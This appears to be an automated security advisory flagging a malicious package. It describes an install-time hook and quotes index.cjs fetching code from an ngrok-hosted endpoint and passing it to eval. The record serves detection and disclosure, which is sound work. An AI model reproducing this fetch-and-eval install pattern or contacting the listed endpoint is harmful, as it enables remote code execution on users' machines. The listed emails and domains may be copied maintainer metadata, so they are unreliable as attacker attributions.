GCVE-110-OSM-2026-6921

Malicious package detected. Behaviors: data exfiltration, code execution, network activity, install-time execution. ENTRY scripts/postinstall.cjs (install-hook: node scripts/postinstall.cjs) - Install Hook Executes Local JS File in package.json DESTINATION - custom-c2: https://2939e69fc408.ngrok-free.app/stats (primary, plaintext) in index.cjs - custom-c2: 2939e69fc408.ngrok-free.app (plaintext) in index.cjs EXFIL - Fetch and Eval/Exec in index.cjs: "fetch("https://2939e69fc408.ngrok-free.app/stats"); const data = await response...." - Network Request in index.cjs: "fetch("https:" ADDITIONAL FINDINGS - Dynamic Code Execution in index.cjs: "eval(data)" - Ngrok Tunneling Service in index.cjs: "ngrok-free.app" - Brand New Package PAYLOAD FILES index.cjs INDICATORS (IOCs) - urls: http://tjholowaychuk.com - domains: vision-media.ca, tjholowaychuk.com, somethingdoug.com - emails: tj@vision-media.ca, doug@somethingdoug.com - payloadFileHash: 078fb426fe2bf73a75d8f04bead875859fb62ab254a71b6ca5a1f41cf4b704ea